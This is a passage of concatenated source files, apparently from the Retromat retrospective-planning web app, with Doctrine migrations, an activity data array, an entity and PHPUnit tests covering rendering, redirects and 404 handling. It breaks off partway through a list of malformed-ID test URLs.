}
}
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
final class Version20220518160255 extends AbstractMigration
{
public function getDescription(): string
{
return 'Drop unused reset password columns from user table';
}
/**
* @param Schema $schema
*/
public function up(Schema $schema): void
{
$this->addSql(
'
ALTER TABLE user
DROP confirmation_token,
DROP password_requested_at'
);
}
/**
* @param Schema $schema
*/
public function down(Schema $schema): void
{
$this->addSql(
'
ALTER TABLE user
ADD confirmation_token VARCHAR(180) DEFAULT NULL,
ADD password_requested_at DATETIME DEFAULT NULL'
);
}
}
<file_sep>var phase_titles = ['Set the stage', 'Gather data', 'Generate insights', 'Decide what to do', 'Close the retrospective', 'Something completely different'];
// BIG ARRAY OF ALL ACTIVITIES
// Mandatory: id, phase, name, summary, desc
// Example:
//all_activities[i] = {
// id: i+1,
// phase: int in {1-5},
// name: "",
// summary: "",
// desc: "Multiple \
// Lines",
// duration: "",
// source: "",
// more: "", // a link
// suitable: "",
//};
// Values for duration: "<minMinutes>-<maxMinutes> perPerson"
// Values for suitable: "iteration, realease, project, introverts, max10People, rootCause, smoothSailing, immature, largeGroup"
all_activities = [];
all_activities[0] = {
phase: 0,
name: "ESVP",
summary: "How do participants feel at the retro: Explorer, Shopper, Vacationer, or Prisoner?",
desc: "Prepare a flipchart with areas for E, S, V, and P. Explain the concept: <br>\
<ul>\
<li>Explorer: Eager to dive in and research what did and didn't work and how to improve.</li>\
<li>Shopper: Positive attitude. Happy if one good things comes out.</li>\
<li>Vacationer: Reluctant to actively take part but the retro beats the regular work.</li>\
<li>Prisoner: Only attend because they (feel they) must.</li>\
</ul>\
Take a poll (anonymously on slips of paper). Count out the answers and keep track on the flipchart \
for all to see. If trust is low, deliberately destroy the votes afterwards to ensure privacy. Ask \
what people make of the data. If there's a majority of Vacationers or Prisoners consider using the \
retro to discuss this finding.",
source: source_agileRetrospectives,
duration: "5-10 numberPeople",
suitable: "iteration, release, project, immature"
};
all_activities[122] = {
phase: 1,
name: "Find your Focus Principle",
summary: "Discuss the 12 agile principles and pick one to work on",
desc: "Print the <a href='http://www.agilemanifesto.org/principles.html'>principles of the Agile Manifesto</a> \
onto cards, one principle \
per card. If the group is large, split it and provide each smaller group with \
their own set of the principles. \
<br><br> \
Explain that you want to order the principles according to the following question: \
'How much do we need to improve regarding this principle?'. In the end the \
principle that is the team's weakest spot should be on top of the list. \
<br><br> \
Start with a random principle, discuss what it means and how much need for \
improvement you see, then place it in the middle. \
Pick the next principle, discuss what it means and sort it relatively to the other \
principles. You can propose a position depending on the previous discussion and \
move from there by comparison. \
Repeat this until all cards are sorted. \
<br><br> \
Now consider the card on top: This is presumeably the most needed and most urgent \
principle you should work on. How does the team feel about it? Does everyone still \
agree? What are the reasons there is the biggest demand for change here? Should you \
compare to the second or third most important issue again? If someone would now \
rather choose the second position, why?",
source: "<a href='http://www.agilesproduktmanagement.de/'><NAME></a>",
duration: "long",
suitable: "iteration, project, release"
};
// Values for duration: "<minMinutes>-<maxMinutes> perPerson"
// Values for suitable: "iteration, realease, project, introverts, max10People, rootCause, smoothSailing, immature, largeGroup"
<file_sep><?php
namespace App\Tests\Importer\Activity\Hydrator;
use App\Entity\Activity;
use App\Model\Importer\Activity\Hydrator\ActivityHydrator;
use PHPUnit\Framework\TestCase;
class ActivityHydratorTest extends TestCase
{
/**
* @return void
*/
public function testHydrateEmptyActivity(): void
{
$activityHydrator = new ActivityHydrator();
$inputArray = $this->createInputArray();
$activity = new Activity();
$activityHydrator->hydrateFromArray($inputArray, $activity);
$this->assertEquals($inputArray['phase'], $activity->getPhase());
$this->assertEquals($inputArray['name'], $activity->getName());
$this->assertEquals($inputArray['desc'], $activity->getDesc());
$this->assertEquals($inputArray['source'], $activity->getSource());
$this->assertEquals($inputArray['more'], $activity->getMore());
$this->assertEquals($inputArray['duration'], $activity->getDuration());
$this->assertEquals($inputArray['stage'], $activity->getStage());
$this->assertEquals($inputArray['suitable'], $activity->getSuitable());
}
/**
* @return void
*/
public function testHydrateActivity(): void
{
$inputArray = $this->createInputArray();
$exampleActivity = $this->createActivity();
$activity = new Activity();
$activityHydrator = new ActivityHydrator();
$activityHydrator->hydrateFromArray($inputArray, $activity);
$this->assertEquals($activity, $exampleActivity);
}
/**
* @return Activity
*/
private function createActivity(): Activity
{
$activity = new Activity();
$activity->setRetromatId(123);
$activity->setPhase(1);
$activity->setName('Find your Focus Principle');
$activity->setSummary('Discuss the 12 agile principles and pick one to work on');
$activity->setDesc('Print the <a href=\'http://www.agilemanifesto.org/principles.html\'>principles of the Agile Manifesto</a> \
onto cards, one principle \
per card. If the group is large, split it and provide each smaller group with \
their own set of the principles. \
<br><br> \
Explain that you want to order the principles according to the following question: \
\'How much do we need to improve regarding this principle?\'. In the end the \
principle that is the team\'s weakest spot should be on top of the list. \
<br><br> \
Start with a random principle, discuss what it means and how much need for \
improvement you see, then place it in the middle. \
Pick the next principle, discuss what it means and sort it relatively to the other \
principles. You can propose a position depending on the previous discussion and \
move from there by comparison. \
Repeat this until all cards are sorted. \
<br><br> \
Now consider the card on top: This is presumeably the most needed and most urgent \
principle you should work on. How does the team feel about it? Does everyone still \
agree? What are the reasons there is the biggest demand for change here? Should you \
compare to the second or third most important issue again? If someone would now \
rather choose the second position, why?');
$activity->setSource('"<a href=\'http://www.agilesproduktmanagement.de/\'><NAME></a>"');
$activity->setMore('EMPTY_IN_ORIGINAL_ACTIVITY');
$activity->setDuration('long');
$activity->setStage('All');
$activity->setSuitable('iteration, project, release');
return $activity;
}
/**
* @return array
*/
private function createInputArray(): array
{
$inputArray = [
'retromatId' => 123,
'phase' => 1,
'name' => 'Find your Focus Principle',
'summary' => 'Discuss the 12 agile principles and pick one to work on',
'desc' => 'Print the <a href=\'http://www.agilemanifesto.org/principles.html\'>principles of the Agile Manifesto</a> \
onto cards, one principle \
per card. If the group is large, split it and provide each smaller group with \
their own set of the principles. \
<br><br> \
Explain that you want to order the principles according to the following question: \
\'How much do we need to improve regarding this principle?\'. In the end the \
principle that is the team\'s weakest spot should be on top of the list. \
<br><br> \
Start with a random principle, discuss what it means and how much need for \
improvement you see, then place it in the middle. \
Pick the next principle, discuss what it means and sort it relatively to the other \
principles. You can propose a position depending on the previous discussion and \
move from there by comparison. \
Repeat this until all cards are sorted. \
<br><br> \
Now consider the card on top: This is presumeably the most needed and most urgent \
principle you should work on. How does the team feel about it? Does everyone still \
agree? What are the reasons there is the biggest demand for change here? Should you \
compare to the second or third most important issue again? If someone would now \
rather choose the second position, why?',
'source' => '"<a href=\'http://www.agilesproduktmanagement.de/\'><NAME></a>"',
'more' => 'EMPTY_IN_ORIGINAL_ACTIVITY',
'duration' => 'long',
'stage' => 'All',
'suitable' => 'iteration, project, release',
];
return $inputArray;
}
}
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
final class Version20210910162851 extends AbstractMigration
{
public function up(Schema $schema): void
{
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('
RENAME TABLE
activity2 TO activity,
activity2translation TO activity_translation
');
}
public function down(Schema $schema): void
{
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('
RENAME TABLE
activity TO activity2,
activity_translation TO activity2translation
');
}
}
<file_sep><?php
namespace App\Model\User\Exception;
interface UserExceptionInterface
{
/**
* @return string
*/
public function getErrorMessage(): string;
}
<file_sep><?php
namespace App\Model\Plan\Exception;
class NoGroupLeftToDrop extends \Exception
{
}
<file_sep><?php
namespace App\Entity;
use App\Repository\UserResetPasswordRepository;
use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Security\Core\User\UserInterface;
/**
* @ORM\Table(name="user_reset_password_request")
* @ORM\Entity(repositoryClass=UserResetPasswordRepository::class)
*/
class UserResetPasswordRequest implements UserResetPasswordRequestInterface
{
/**
* @ORM\Id
* @ORM\GeneratedValue
* @ORM\Column(type="integer")
*/
private int $id;
/**
* @ORM\ManyToOne(targetEntity=User::class)
* @ORM\JoinColumn(nullable=false)
*/
private UserInterface $user;
/**
* @ORM\Column(type="string", length=32)
*/
protected string $selector;
/**
* @ORM\Column(type="string", length=100)
*/
protected string $hashedToken;
/**
* @ORM\Column(type="datetime_immutable")
*/
protected \DateTimeImmutable $requestedAt;
/**
* @ORM\Column(type="datetime_immutable")
*/
protected \DateTimeInterface $expiresAt;
public function __construct(UserInterface $user, \DateTimeInterface $expiresAt, string $selector, string $hashedToken)
{
$this->user = $user;
$this->requestedAt = new \DateTimeImmutable('now');
$this->expiresAt = $expiresAt;
$this->selector = $selector;
$this->hashedToken = $hashedToken;
}
/**
* @return int|null
*/
public function getId(): ?int
{
return $this->id;
}
/**
* @return UserInterface
*/
public function getUser(): UserInterface
{
return $this->user;
}
/**
* @return \DateTimeInterface
*/
public function getRequestedAt(): \DateTimeInterface
{
return $this->requestedAt;
}
/**
* @return bool
*/
public function isExpired(): bool
{
return $this->expiresAt->getTimestamp() <= \time();
}
/**
* @return \DateTimeInterface
*/
public function getExpiresAt(): \DateTimeInterface
{
return $this->expiresAt;
}
/**
* @return string
*/
public function getHashedToken(): string
{
return $this->hashedToken;
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Controller;
use App\Tests\AbstractTestCase;
class HomeControllerTest extends AbstractTestCase
{
public function setUp(): void
{
$this->loadFixtures([]);
}
public function testShowSingleActivityBlock()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=32');
$jsPlan = $crawler->filter('.js_plan');
$activityBlocks = $jsPlan->filter('.js_activity_block');
$this->assertEquals(1, $activityBlocks->count());
}
public function testShowActivityNameRawHtml()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=32');
$this->assertEquals(
'Emoticon Project Gauge',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_name')->html()
);
$crawler = $client->request('GET', '/en/?id=59');
$this->assertEquals(
'Happiness Histogram',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_name')->html()
);
$crawler = $client->request('GET', '/en/?id=80');
$this->assertEquals(
'Repeat & Avoid', // raw HTML imported to DB from lang/activities_en.php
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_name')->html()
);
}
public function testShowActivitySummaries()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=76');
$this->assertEquals(
'Participants express what they admire about one another',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_summary')->text()
);
$crawler = $client->request('GET', '/en/?id=81');
$this->assertEquals(
'Everyone states what they want out of the retrospective',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_summary')->text()
);
}
public function testShowActivityDescriptionsRawHtml()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=22');
$this->assertEquals(
'Prepare a flipchart with a drawing of a thermometer from freezing to body temperature to hot. Each participant marks their mood on the sheet.',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_description')->html()
);
$crawler = $client->request('GET', '/en/?id=81');
$expected = 'Everyone in the team states their goal for the retrospective, i.e. what they want out of the meeting. Examples of what participants might say: <ul><li>I\'m happy if we get 1 good action item</li> <li>I want to talk about our argument about unit tests and agree on how we\'ll do it in the future</li> <li>I\'ll consider this retro a success, if we come up with a plan to tidy up $obscureModule</li> </ul> [You can check if these goals were met if you close with activity #14.] <br><br> [The <a href="http://liveingreatness.com/additional-protocols/meet/">Meet - Core Protocol</a>, which inspired this activity, also describes \'Alignment Checks\': Whenever someone thinks the retrospective is not meeting people\'s needs they can ask for an Alignment Check. Then everyone says a number from 0 to 10 which reflects how much they are getting what they want. The person with the lowest number takes over to get nearer to what they want.]';
$this->assertEquals(
$expected,
\str_replace("\n", '', $crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_description')->html())
);
}
public function testShowActivityLinksText()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=1');
$this->assertEquals(
'1',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_id')->text()
);
$crawler = $client->request('GET', '/en/?id=2');
$this->assertEquals(
'2',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_id')->text()
);
}
public function testShowActivityLinksHref()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=1');
$this->assertEquals(
'?id=1',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_activity_link')->attr('href')
);
$crawler = $client->request('GET', '/en/?id=2');
$this->assertEquals(
'?id=2',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_activity_link')->attr('href')
);
}
public function testShowActivityPhaseLinkText()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=3');
$this->assertEquals(
'Set the stage',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_phase_title')->text()
);
$crawler = $client->request('GET', '/en/?id=4');
$this->assertEquals(
'Gather data',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_phase_title')->text()
);
}
public function testShowActivityPhaseLinkHref()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=1');
// .* in expression allows this to succeed on live data even when new activities are added
$this->assertMatchesRegularExpression(
'#\?id=1-2-3-18-22-31-32-36-42-43-46-52-59-70-76-81-82-84-85-90-.*&phase=0#',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_phase_link')->attr('href')
);
$crawler = $client->request('GET', '/en/?id=5');
// .* in expression allows this to succeed on live data even when new activities are added
$this->assertMatchesRegularExpression(
'#\?id=4-5-6-7-19-33-35-47-51-54-62-64-65-75-78-79-80-86-87-89-93-97-98-.*&phase=1#',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_phase_link')->attr('href')
);
}
public function testShowActivitySourceSimpleStringRawHtml()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=17');
$this->assertEquals(
'<a href="http://fairlygoodpractices.com/samolo.htm">Fairly good practices</a>',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_source')->html()
);
$crawler = $client->request('GET', '/en/?id=80');
$this->assertEquals(
'<a href="http://www.infoq.com/minibooks/agile-retrospectives-value"><NAME>ves</a>',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_source')->html()
);
}
public function testShowActivitySourcePlaceholderRawHtml()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=77');
$this->assertEquals(
'<a href="https://leanpub.com/ErfolgreicheRetrospektiven"><NAME></a>',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_source')->html()
);
$crawler = $client->request('GET', '/en/?id=5');
$this->assertEquals(
'<a href="http://www.finding-marbles.com/"><NAME></a>',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_source')->html()
);
}
public function testShowActivitySourcePlaceholderAndStringRawHtml()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=15');
$this->assertEquals(
'<a href="http://www.amazon.com/Agile-Retrospectives-Making-Teams-Great/dp/0977616649/">Agile Retrospectives</a> who took it from \'The Satir Model: Family Therapy and Beyond\'',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_source')->html()
);
$crawler = $client->request('GET', '/en/?id=37');
$this->assertEquals(
'<a href="http://www.amazon.com/Innovation-Games-Creating-Breakthrough-Collaborative/dp/0321437292/"><NAME></a>, found at <a href="http://www.ayeconference.com/appreciativeretrospective/"><NAME></a>',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_source')->html()
);
}
public function testShowActivitySourceStringAndPlaceholderRawHtml()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=14');
$this->assertEquals(
'ALE 2011, <a href="http://www.finding-marbles.com/"><NAME></a>',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_source')->html()
);
$crawler = $client->request('GET', '/en/?id=65');
$this->assertEquals(
'<a href="http://blog.8thlight.com/doug-bradbury/2011/09/19/apreciative_inquiry_retrospectives.html"><NAME></a>, adapted for SW development by <a href="http://www.finding-marbles.com/"><NAME></a>',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_fill_source')->html()
);
}
public function testShowAny5Activities()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=3-87-113-13-16');
$activities = $crawler->filter('.js_plan')->filter('.js_activity_block');
$this->assertEquals(5, $activities->count());
$this->assertEquals('3', $activities->eq(0)->filter('.js_fill_id')->text());
$this->assertEquals('87', $activities->eq(1)->filter('.js_fill_id')->text());
$this->assertEquals('113', $activities->eq(2)->filter('.js_fill_id')->text());
$this->assertEquals('13', $activities->eq(3)->filter('.js_fill_id')->text());
$this->assertEquals('16', $activities->eq(4)->filter('.js_fill_id')->text());
$crawler = $client->request('GET', '/en/?id=1-91-2-55-100');
$activities = $crawler->filter('.js_plan')->filter('.js_activity_block');
$this->assertEquals(5, $activities->count());
$this->assertEquals('1', $activities->eq(0)->filter('.js_fill_id')->text());
$this->assertEquals('91', $activities->eq(1)->filter('.js_fill_id')->text());
$this->assertEquals('2', $activities->eq(2)->filter('.js_fill_id')->text());
$this->assertEquals('55', $activities->eq(3)->filter('.js_fill_id')->text());
$this->assertEquals('100', $activities->eq(4)->filter('.js_fill_id')->text());
}
public function testShowSuccessiveActivitiesInDifferentColors()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=1-2-3-4-5-6-7');
$activities = $crawler->filter('.js_plan')->filter('.js_activity_block');
$colorCode = $this->extractColorCode($activities->eq(0));
for ($i = 1; $i < $activities->count(); $i++) {
$previousColorCode = $colorCode;
$colorCode = $this->extractColorCode($activities->eq($i));
$this->assertNotEquals($colorCode, $previousColorCode);
}
}
/**
* @param $activity
* @return string
*/
public function extractColorCode($activity)
{
$colorCodePrefix = ' bg';
$classesString = $activity->attr('class');
$colorCode = \substr($classesString, \strpos($classesString, $colorCodePrefix) + \strlen($colorCodePrefix), 1);
return $colorCode;
}
public function testShowAllActivitiesInPhase0LongUrl()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$idsStringPhase0 = '1-2-3-18-22-31-32-36-42-43-46-52-59-70-76-81-82-84-85-90-106-107-108-114-122';
$crawler = $client->request('GET', '/en/?id='.$idsStringPhase0.'&phase=0');
$ids = \explode('-', $idsStringPhase0);
$activities = $crawler->filter('.js_plan')->filter('.js_activity_block');
$this->assertEquals(\count($ids), $activities->count());
$this->assertEquals('3', $activities->eq(2)->filter('.js_fill_id')->text());
$this->assertEquals('18', $activities->eq(3)->filter('.js_fill_id')->text());
$this->assertEquals('22', $activities->eq(4)->filter('.js_fill_id')->text());
$this->assertEquals('122', $activities->eq(24)->filter('.js_fill_id')->text());
}
public function testShowTitlePhase0LongUrl()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$idsStringPhase0 = '1-2-3-18-22-31-32-36-42-43-46-52-59-70-76-81-82-84-85-90-106-107-108-114-122';
$crawler = $client->request('GET', '/en/?id='.$idsStringPhase0.'&phase=0');
$this->assertEquals('All activities for SET THE STAGE', $crawler->filter('.js_fill_plan_title')->text());
}
public function testShowTitlePhase1LongUrl()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$idsStringPhase1 = '4-5-6-7-19-33-35-47-51-54-62-64-65-75-78-79-80-86-87-89-93-97-98-110-116-119-121-123';
$crawler = $client->request('GET', '/en/?id='.$idsStringPhase1.'&phase=1');
$this->assertEquals('All activities for GATHER DATA', $crawler->filter('.js_fill_plan_title')->text());
}
public function testRegressionAvoidUnlessNeededHeaderAllActivitiesFor()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=1-2-3&phase=0');
$this->assertStringStartsWith('All activities for', $crawler->filter('.js_fill_plan_title')->text());
$crawler = $client->request('GET', '/en/?id=1-2-3');
$this->assertStringStartsNotWith('All activities for', $crawler->filter('.js_fill_plan_title')->text());
}
public function testHideSteppersPhase0LongUrl()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
// must not be hidden when phase is not specified in URL
$idsStringPhase0 = '1-2-3-18-22-31-32-36-42-43-46-52-59-70-76-81-82-84-85-90-106-107-108-114-122';
$crawler = $client->request('GET', '/en/?id='.$idsStringPhase0);
$this->assertStringNotContainsString('hidden', $crawler->filter('.js_phase-stepper')->eq(0)->attr('class'));
$this->assertStringNotContainsString('hidden', $crawler->filter('.js_phase-stepper')->eq(1)->attr('class'));
// must be hidden when phase is specified in URL
$idsStringPhase0 = '1-2-3-18-22-31-32-36-42-43-46-52-59-70-76-81-82-84-85-90-106-107-108-114-122';
$crawler = $client->request('GET', '/en/?id='.$idsStringPhase0.'&phase=0');
$this->assertStringContainsString('hidden', $crawler->filter('.js_phase-stepper')->eq(0)->attr('class'));
$this->assertStringContainsString('hidden', $crawler->filter('.js_phase-stepper')->eq(1)->attr('class'));
}
public function testShowNumbersInFooter()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=3-87-113-13-16');
$footer = $crawler->filter('.about')->filter('.content');
$this->assertEquals('127', $footer->filter('.js_footer_no_of_activities')->text());
$this->assertEquals('8349005', $footer->filter('.js_footer_no_of_combinations')->text());
$this->assertEquals('25x30x22x22x23+5', $footer->filter('.js_footer_no_of_combinations_formula')->text());
}
public function testShowRandomPlanLinksOnHome()
{
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/');
$this->assertEquals(
'Is loading taking too long? Here are some random plans:',
$crawler->filter('.js_fill_summary')->text()
);
}
public function testShowIdsInInputField()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=1-2-3-4-5');
$this->assertEquals('1-2-3-4-5', $crawler->filter('.ids-display__input')->attr('value'));
$crawler = $client->request('GET', '/en/?id=3-87-113-13-16');
$this->assertEquals('3-87-113-13-16', $crawler->filter('.ids-display__input')->attr('value'));
}
public function testShowPhaseStepperNextSingleActivity()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=3');
$this->assertEquals(
'?id=18',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_next_button_href')->attr('href')
);
}
public function testShowPhaseStepperPreviousSingleActivity()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=18');
$this->assertEquals(
'?id=3',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_prev_button_href')->attr('href')
);
}
public function testShowPhaseStepperNextMultipleActivities()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=3-87-113-13-16');
$this->assertEquals(
'?id=18-87-113-13-16',
$crawler->filter('.js_activity_block')->eq(0)->filter('.js_next_button_href')->attr('href')
);
$this->assertEquals(
'?id=3-89-113-13-16',
$crawler->filter('.js_activity_block')->eq(1)->filter('.js_next_button_href')->attr('href')
);
}
public function testRedirectIndexToNewUrlEn()
{
$client = $this->getKernelBrowser();
$client->request('GET', '/index.html?id=32');
$this->assertEquals(301, $client->getResponse()->getStatusCode());
$this->assertTrue(
$client->getResponse()->isRedirect('/en/?id=32'),
'Response is a redirect to the correct new URL.'
);
}
public function testRedirectIndexToNewUrlDe()
{
$client = $this->getKernelBrowser();
$client->request('GET', '/index_de.html?id=32');
$this->assertEquals(301, $client->getResponse()->getStatusCode());
$this->assertTrue(
$client->getResponse()->isRedirect('/de/?id=32'),
'Response is a redirect to the correct new URL.'
);
}
public function testRedirectSlashToNewUrl()
{
$client = $this->getKernelBrowser();
$client->request('GET', '/?id=70-4-69-29-71');
$this->assertEquals(301, $client->getResponse()->getStatusCode());
$this->assertTrue(
$client->getResponse()->isRedirect('/en/?id=70-4-69-29-71'),
'Response is a redirect to the correct new URL.'
);
}
public function testRedirectPhase0ToNewUrl()
{
$client = $this->getKernelBrowser();
$idsStringPhase0 = '1-2-3-18-22-31-32-36-42-43-46-52-59-70-76-81-82-84-85-90-106-107-108-114-122';
$client->request('GET', '/index.html?id='.$idsStringPhase0.'&phase=0');
$this->assertEquals(301, $client->getResponse()->getStatusCode());
$this->assertTrue(
$client->getResponse()->isRedirect(
'/en/?id=1-2-3-18-22-31-32-36-42-43-46-52-59-70-76-81-82-84-85-90-106-107-108-114-122&phase=0'
),
'Response is a redirect to the correct new URL.'
);
}
public function testShowPageTitle5ActivitiesEnglish()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=3-126-9-39-60');
$this->assertStringEndsWith(' 3-126-9-39-60', $crawler->filter('title')->text());
}
public function testShowPageTitle5ActivitiesGerman()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/de/?id=3-126-9-39-60');
$this->assertStringEndsWith(' 3-126-9-39-60', $crawler->filter('title')->text());
}
public function testShowPageTitle1ActivitiyEnglish()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=1');
$this->assertEquals('Retromat: ESVP (#1)', $crawler->filter('title')->text());
}
public function testShowPageTitle1ActivitiyGerman()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/de/?id=1');
$this->assertEquals('Retromat: FEUG (engl. ESVP) (#1)', $crawler->filter('title')->text());
}
public function testShowMetaDescription5ActivitiesEnglish()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=3-126-9-39-60');
$this->assertEquals(
'3, 126: Give positive, as well as non-threatening, constructive feedback, 9: Team members brainstorm in 4 categories to quickly list issues, 39, 60',
$crawler->filter('meta[name="description"]')->attr('content')
);
}
public function testShowMetaDescription5ActivitiesGerman()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/de/?id=1-2-3-4-5');
$this->assertEquals(
'1, 2: Die Teilnehmer markieren ihr Stimmungs-"Wetter" auf einem Flipchart., 3: Stelle eine Frage oder Aufgabe, die nacheinander von allen Teilnehmern beantwortet wird., 4, 5',
$crawler->filter('meta[name="description"]')->attr('content')
);
}
public function testShowMetaDescription1ActivitiyEnglish()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/en/?id=1');
$this->assertEquals(
'How do participants feel at the retro: Explorer, Shopper, Vacationer, or Prisoner?',
$crawler->filter('meta[name="description"]')->attr('content')
);
}
public function testShowMetaDescription1ActivitiyGerman()
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$crawler = $client->request('GET', '/de/?id=1');
$this->assertEquals(
'Welche Haltung haben die Teilnehmer zur Retrospektive? In welcher Rolle fühlen sie sich? Forscher, Einkaufsbummler, Urlauber, Gefangener.',
$crawler->filter('meta[name="description"]')->attr('content')
);
}
/**
* @dataProvider malformedPathsProvider
*/
public function test404OnIdNotFound($url)
{
$this->loadFixtures(['App\Tests\Controller\DataFixtures\LoadActivityData']);
$client = $this->getKernelBrowser();
$client->request('GET', $url);
$this->assertEquals('404', $client->getResponse()->getStatusCode());
}
/**
* @return \string[][]
*/
public function malformedPathsProvider(): array
{
return [
['/en/?id=x'],
['/en/?id=03-07-22-90-132'],
['/en/?id=43-64-69-196-34'],
['/en/?id=122209988'],
['/en/?id=122376333-9-51-39-60'],
['/en/?id=10644-51-25-12496-14'],
['/en/?id=36-65-11389-12585-16'],
['/en/?id=622121121121212.1'],
['/en/?id=84-6-9-63-402121121121212.1'],
['/en/?id=3-64-37-99-772121121121212.1'],
